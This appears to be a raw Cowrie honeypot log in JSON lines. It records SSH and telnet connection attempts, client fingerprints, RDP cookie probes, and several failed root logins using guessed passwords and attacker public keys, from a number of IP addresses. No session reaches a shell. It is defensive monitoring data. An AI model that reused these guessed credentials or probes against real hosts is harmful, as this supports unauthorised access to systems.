{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4577cf5982","protocol":"telnet","message":"New connection: 152.42.224.71:33334 (10.17.0.5:23) [session: 2e4577cf5982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:58.231240Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58062,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba532e0074a","protocol":"ssh","message":"New connection: 51.250.105.222:58062 (10.17.0.5:22) [session: aba532e0074a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:58.237002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:58.241857Z","src_ip":"51.250.105.222","session":"aba532e0074a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:58.366979Z","src_ip":"51.250.105.222","session":"aba532e0074a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfytxrf","message":"login attempt [root/dfytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:58.745778Z","src_ip":"51.250.105.222","session":"aba532e0074a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:58:59.873861Z","src_ip":"51.250.105.222","session":"aba532e0074a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":43848,"dst_ip":"159.203.135.109","dst_port":22,"session":"26940fa13de0","protocol":"ssh","message":"New connection: 103.77.242.62:43848 (159.203.135.109:22) [session: 26940fa13de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:09.044308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:09.049902Z","src_ip":"103.77.242.62","session":"26940fa13de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:09.292804Z","src_ip":"103.77.242.62","session":"26940fa13de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello","message":"login attempt [root/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:10.018012Z","src_ip":"103.77.242.62","session":"26940fa13de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:11.262831Z","src_ip":"103.77.242.62","session":"26940fa13de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce536ac9508","protocol":"telnet","message":"New connection: 152.42.224.71:42000 (10.17.0.5:23) [session: 7ce536ac9508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:36.285727Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":42624,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b13fcf75c52","protocol":"ssh","message":"New connection: 103.98.149.87:42624 (159.203.135.109:22) [session: 4b13fcf75c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:42.578697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:42.583062Z","src_ip":"103.98.149.87","session":"4b13fcf75c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:42.812954Z","src_ip":"103.98.149.87","session":"4b13fcf75c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789d","message":"login attempt [root/123456789d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:43.502443Z","src_ip":"103.98.149.87","session":"4b13fcf75c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:59:44.733176Z","src_ip":"103.98.149.87","session":"4b13fcf75c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c4b5e00e14","protocol":"telnet","message":"New connection: 152.42.224.71:57074 (10.17.0.5:23) [session: a4c4b5e00e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:31.274765Z"}
{"eventid":"cowrie.session.closed","duration":56.086658239364624,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:32.372291Z","src_ip":"152.42.224.71","session":"7ce536ac9508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e3e9eb886a","protocol":"ssh","message":"New connection: 77.94.47.83:42560 (10.17.0.5:22) [session: d3e3e9eb886a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:46.887999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:46.894279Z","src_ip":"77.94.47.83","session":"d3e3e9eb886a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:47.021454Z","src_ip":"77.94.47.83","session":"d3e3e9eb886a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polniypizdec1102","message":"login attempt [root/polniypizdec1102] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:47.402185Z","src_ip":"77.94.47.83","session":"d3e3e9eb886a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:48.531599Z","src_ip":"77.94.47.83","session":"d3e3e9eb886a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01134204864502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:58.242447Z","src_ip":"152.42.224.71","session":"2e4577cf5982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62775,"dst_ip":"159.203.135.109","dst_port":22,"session":"20a408251e3d","protocol":"ssh","message":"New connection: 167.172.81.52:62775 (159.203.135.109:22) [session: 20a408251e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:58.887254Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:58.902790Z","src_ip":"167.172.81.52","session":"20a408251e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:00:58.907882Z","src_ip":"167.172.81.52","session":"20a408251e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":39330,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d432f8c7c0","protocol":"ssh","message":"New connection: 102.129.200.117:39330 (10.17.0.5:22) [session: 12d432f8c7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:02.793640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:02.799179Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:02.887316Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:1b:cf:10:39:4e:a4:08:5f:e4:50:fc:58:62:7a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5G55Snk8w6IQZIcgRYVXXLIHWzXh9QCinkjlajMcvLJ2FetkkeD2yYEu8ZPcOGzukCSGNPB4JZRkECOZODeHXvBNxsI+FrWv7MrA1lFFbyBhw+HGp/rVeVOzkgJPRN8rWPWa7d6w5Uki3j3rPCrDuC9R9wHKSxprHEuGzUo7KRwm6WMvncH/PLcjYXXKJw/UqZ30Hx/Ba7Rp2aa/GNVSdEpKM/tttDoVBYLYHQr57SAJY0pGAvwZHkljQ8UObAbyCHu5/mD0N4uNmnpqopZG81igmWs4kFqX8jg3nSpba49UIG0/nMZQ/r+dsf1QM4jPBGE1ImUlIkm+4z9RlVrBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:1b:cf:10:39:4e:a4:08:5f:e4:50:fc:58:62:7a:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.286674Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:1b:cf:10:39:4e:a4:08:5f:e4:50:fc:58:62:7a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5G55Snk8w6IQZIcgRYVXXLIHWzXh9QCinkjlajMcvLJ2FetkkeD2yYEu8ZPcOGzukCSGNPB4JZRkECOZODeHXvBNxsI+FrWv7MrA1lFFbyBhw+HGp/rVeVOzkgJPRN8rWPWa7d6w5Uki3j3rPCrDuC9R9wHKSxprHEuGzUo7KRwm6WMvncH/PLcjYXXKJw/UqZ30Hx/Ba7Rp2aa/GNVSdEpKM/tttDoVBYLYHQr57SAJY0pGAvwZHkljQ8UObAbyCHu5/mD0N4uNmnpqopZG81igmWs4kFqX8jg3nSpba49UIG0/nMZQ/r+dsf1QM4jPBGE1ImUlIkm+4z9RlVrBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.291259Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:65:3d:8e:87:5b:48:80:a9:c4:52:ba:76:09:7e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMuu1ANUx6mo26kyYST6GQXxlkPuLMv6mgK30/SSMKtoXT1Jo/izNDrrx5rBx7PGlHDYOvsiDKb56QVf+b0FyWq8A7fRDCCU2G7TmzrzFHVqZBp6s2/po78Kgcb0RyGNTYzKQFl0sqyqwVKGjyQnfT3VBGxHI/eKb2T1WaEgiF/KfGOkAy7sW6l1g4/0GYeWhsC6QiIOO/ct1BlsZSIzabZ6rF1Zx5vZvqjb+EwQ654SKMGd2S6b/QtCz8zAGjmruzc4q4C3IYjqGXC+tgLd5ub9inZ7x6Bn/zqJTToQcj8VI22L3rLYfUjpcnFD29tEFK5D56plh6PzAf007TsSqx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:65:3d:8e:87:5b:48:80:a9:c4:52:ba:76:09:7e:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.376685Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:65:3d:8e:87:5b:48:80:a9:c4:52:ba:76:09:7e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMuu1ANUx6mo26kyYST6GQXxlkPuLMv6mgK30/SSMKtoXT1Jo/izNDrrx5rBx7PGlHDYOvsiDKb56QVf+b0FyWq8A7fRDCCU2G7TmzrzFHVqZBp6s2/po78Kgcb0RyGNTYzKQFl0sqyqwVKGjyQnfT3VBGxHI/eKb2T1WaEgiF/KfGOkAy7sW6l1g4/0GYeWhsC6QiIOO/ct1BlsZSIzabZ6rF1Zx5vZvqjb+EwQ654SKMGd2S6b/QtCz8zAGjmruzc4q4C3IYjqGXC+tgLd5ub9inZ7x6Bn/zqJTToQcj8VI22L3rLYfUjpcnFD29tEFK5D56plh6PzAf007TsSqx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.380777Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:65:9f:d0:aa:6f:ac:17:0b:59:b2:77:db:67:26:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ZRNrEb25t7wcmMZjQ/jz6GxwH0Bm+rj7Y30ih2FN0j6oUq9gWitQSXZycSMTddAnpTbNnaM5HB7CBw/JN4WL6kG7LgmEn9uwi7wviFMwM8jTcw/AcIRLSM8ljHFG9iH8sfn3DhP+87Q01kW4zZ1MhMIDtn/bWVajwiCzgc420ycyR3CT1uKOp1YMgDkY0RQOnebU4GqDm7pKiYJ2x1OLnbKdxFId8KwAGvH3FC9t2SpvNHrG//4dZGlwUTGrK3xgW4uVc7I4lRmUCtMYXE2bYA9cVK6jKQkZgyywG4zR3WZInUgChePjOkTP+QhGqBSW+eAmP+5RTRMf6asTM6HDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:65:9f:d0:aa:6f:ac:17:0b:59:b2:77:db:67:26:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.473211Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:65:9f:d0:aa:6f:ac:17:0b:59:b2:77:db:67:26:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ZRNrEb25t7wcmMZjQ/jz6GxwH0Bm+rj7Y30ih2FN0j6oUq9gWitQSXZycSMTddAnpTbNnaM5HB7CBw/JN4WL6kG7LgmEn9uwi7wviFMwM8jTcw/AcIRLSM8ljHFG9iH8sfn3DhP+87Q01kW4zZ1MhMIDtn/bWVajwiCzgc420ycyR3CT1uKOp1YMgDkY0RQOnebU4GqDm7pKiYJ2x1OLnbKdxFId8KwAGvH3FC9t2SpvNHrG//4dZGlwUTGrK3xgW4uVc7I4lRmUCtMYXE2bYA9cVK6jKQkZgyywG4zR3WZInUgChePjOkTP+QhGqBSW+eAmP+5RTRMf6asTM6HDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.476957Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:03.568127Z","src_ip":"102.129.200.117","session":"12d432f8c7c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.80329918861389,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:15.077932Z","src_ip":"152.42.224.71","session":"a4c4b5e00e14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63133,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d0c9520728","protocol":"ssh","message":"New connection: 152.42.212.128:63133 (10.17.0.5:22) [session: b2d0c9520728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:33.175736Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:33.180126Z","src_ip":"152.42.212.128","session":"b2d0c9520728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:33.183813Z","src_ip":"152.42.212.128","session":"b2d0c9520728","protocol":"ssh"}
